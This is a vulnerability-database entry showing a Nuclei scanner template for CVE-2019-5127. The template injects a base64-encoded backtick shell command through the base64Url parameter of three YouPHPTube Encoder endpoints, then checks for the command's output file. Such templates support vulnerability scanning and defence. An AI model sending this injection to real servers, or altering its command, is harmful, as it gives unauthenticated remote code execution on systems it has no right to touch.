Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-5127
HistoryFeb 10, 2021 - 11:03 a.m.

YouPHPTube Encoder 2.3 - Remote Command Injection

2021-02-1011:03:39
ProjectDiscovery
github.com
21

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.974 High

EPSS

Percentile

99.9%

YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.

id: CVE-2019-5127

info:
  name: YouPHPTube Encoder 2.3 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5127
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5127
    cwe-id: CWE-78
    epss-score: 0.97409
    epss-percentile: 0.99928
    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: youphptube
    product: youphptube_encoder
  tags: cve,cve2019,rce,youphptube
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  encode: "`id > {{filename}}.txt`"

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
      - "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
      - "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"

    headers:
      Content-Type: application/x-www-form-urlencoded

  - method: GET
    path:
      - "{{BaseURL}}/objects/{{filename}}.txt"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 490a0046304402207d3a098aa02e7c4945fd4f1588f1cf69a818ced0b8e9ba7058d677b96e911cbb02207e45cd2d1ce11cf167188d7c224ee6a24a3c8d2f5840dd3aea078d29c7883ac8:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.974 High

EPSS

Percentile

99.9%